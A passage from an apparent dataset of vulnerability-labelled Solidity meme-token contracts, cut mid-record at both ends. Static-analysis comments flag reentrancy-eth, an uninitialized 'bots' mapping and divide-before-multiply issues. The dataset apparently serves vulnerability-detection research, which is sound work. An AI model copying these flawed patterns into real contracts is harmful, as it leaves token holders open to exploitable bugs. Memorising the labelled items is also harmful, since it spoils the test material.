tokensToSwap;\n\n if (percent == 100) {\n tokensToSwap = contractBalance;\n } else {\n tokensToSwap = (totalSupplyAmount * percent) / 100;\n\n if (tokensToSwap > contractBalance) {\n tokensToSwap = contractBalance;\n }\n }\n\n require(\n tokensToSwap <= contractBalance,\n \"Swap amount exceeds contract balance\"\n );\n\n swapTokensForEth(tokensToSwap);\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10891.sol",
"size_bytes": 28671,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bdec554): Winter.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for bdec554: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c40bedd): Winter.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for c40bedd: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3baa267): Winter.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 2 * (_tTotal / 100)\n// Recommendation for 3baa267: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8355121): Winter.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 8355121: Consider ordering multiplication before division.\ncontract Winter is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 50b07bf): Winter.bots is never initialized. It is used in Winter._transfer(address,address,uint256)\n\t// Recommendation for 50b07bf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a31899b): Winter._taxWallet should be immutable \n\t// Recommendation for a31899b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06a73ca): Winter._initialBuyTax should be constant \n\t// Recommendation for 06a73ca: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 597a81b): Winter._initialSellTax should be constant \n\t// Recommendation for 597a81b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: d6eb790): Winter._finalBuyTax should be constant \n\t// Recommendation for d6eb790: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 657be36): Winter._finalSellTax should be constant \n\t// Recommendation for 657be36: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 339b4bc): Winter._reduceBuyTaxAt should be constant \n\t// Recommendation for 339b4bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92a2981): Winter._reduceSellTaxAt should be constant \n\t// Recommendation for 92a2981: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59007a0): Winter._preventSwapBefore should be constant \n\t// Recommendation for 59007a0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Winter | Ivanka Trump's Dog\";\n\n string private constant _symbol = unicode\"WINTER\";\n\n\t// divide-before-multiply | ID: 8355121\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: bdec554\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 28e8f52): Winter._taxSwapThreshold should be constant \n\t// Recommendation for 28e8f52: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: c40bedd\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 526895e): Winter._maxTaxSwap should be constant \n\t// Recommendation for 526895e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 3baa267\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x130186dcBc38Abb1133B30DB978d6567AF96ffF6);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a33f7d1): Winter.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a33f7d1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e6e9b1d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e6e9b1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3192473): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3192473: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e6e9b1d\n\t\t// reentrancy-benign | ID: 3192473\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e6e9b1d\n\t\t// reentrancy-benign | ID: 3192473\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a7ff9c4): Winter._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a7ff9c4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3192473\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e6e9b1d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 21f34ce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 21f34ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 50b07bf): Winter.bots is never initialized. It is used in Winter._transfer(address,address,uint256)\n\t// Recommendation for 50b07bf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 60a4cb4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 60a4cb4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 21f34ce\n\t\t\t\t// reentrancy-eth | ID: 60a4cb4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 21f34ce\n\t\t\t\t\t// reentrancy-eth | ID: 60a4cb4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 60a4cb4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 60a4cb4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 60a4cb4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 21f34ce\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 60a4cb4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 60a4cb4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 21f34ce\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e6e9b1d\n\t\t// reentrancy-events | ID: 21f34ce\n\t\t// reentrancy-benign | ID: 3192473\n\t\t// reentrancy-eth | ID: 60a4cb4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e6e9b1d\n\t\t// reentrancy-events | ID: 21f34ce\n\t\t// reentrancy-eth | ID: 60a4cb4\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4714ad7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4714ad7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c9e384c): Winter.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c9e384c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 968c173): Winter.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 968c173: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5687195): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5687195: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4714ad7\n\t\t// reentrancy-eth | ID: 5687195\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4714ad7\n\t\t// unused-return | ID: 968c173\n\t\t// reentrancy-eth | ID: 5687195\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4714ad7\n\t\t// unused-return | ID: c9e384c\n\t\t// reentrancy-eth | ID: 5687195\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4714ad7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5687195\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10892.sol",
"size_bytes": 21800,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BUIO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 28fd3fa): BUIO._taxWallet should be immutable \n\t// Recommendation for 28fd3fa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c6dd66): BUIO._initialBuyTax should be constant \n\t// Recommendation for 8c6dd66: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a121855): BUIO._initialSellTax should be constant \n\t// Recommendation for a121855: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 717f119): BUIO._reduceBuyTaxAt should be constant \n\t// Recommendation for 717f119: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a59c1b): BUIO._reduceSellTaxAt should be constant \n\t// Recommendation for 4a59c1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5372222): BUIO._preventSwapBefore should be constant \n\t// Recommendation for 5372222: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mascot of the Unholy Year\"; //\n\n string private constant _symbol = unicode\"$BUIO \"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8693b6): BUIO._taxSwapThreshold should be constant \n\t// Recommendation for d8693b6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9cd6a8c): BUIO._maxTaxSwap should be constant \n\t// Recommendation for 9cd6a8c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x128C472D251cb4e45157D7d480a8786A1C2B943b);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1487224): BUIO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1487224: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 86e400b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 86e400b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 02dbcc9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 02dbcc9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 86e400b\n\t\t// reentrancy-benign | ID: 02dbcc9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 86e400b\n\t\t// reentrancy-benign | ID: 02dbcc9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f67874b): BUIO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f67874b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 02dbcc9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 86e400b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8ff4f25): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8ff4f25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2251bfc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2251bfc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == 